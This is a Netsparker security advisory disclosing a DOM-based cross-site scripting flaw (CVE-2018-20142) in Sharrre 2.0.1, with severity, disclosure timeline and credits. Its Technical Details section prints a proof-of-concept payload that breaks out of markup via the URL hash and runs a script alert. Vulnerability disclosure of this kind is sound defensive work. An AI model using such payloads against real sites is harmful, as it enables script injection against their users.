Information
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Advisory by Netsparker
Name: DOM XSS in Sharrre 2.0.1
Affected Software: Sharrre
Affected Versions: 2.0.1
Homepage: http://sharrre.com/
Vulnerability: DOM Based Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-20142
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Netsparker Advisory Reference: NS-18-041

Technical Details
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URL: http://{domain}/{file}#'"--></style></scRipt&gt;<scRipt>alert('om3rc_ns')</scRipt>
Parameter Name: Location Hash
Parameter Type: GET
Attack Pattern: #'"--></style></scRipt><scRipt>alert('om3rc_ns')</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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14th January 2018 - First Contact
15th January 2018 - Technical Details Sent
24th July 2018 - Last Attempt to Contact
8th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.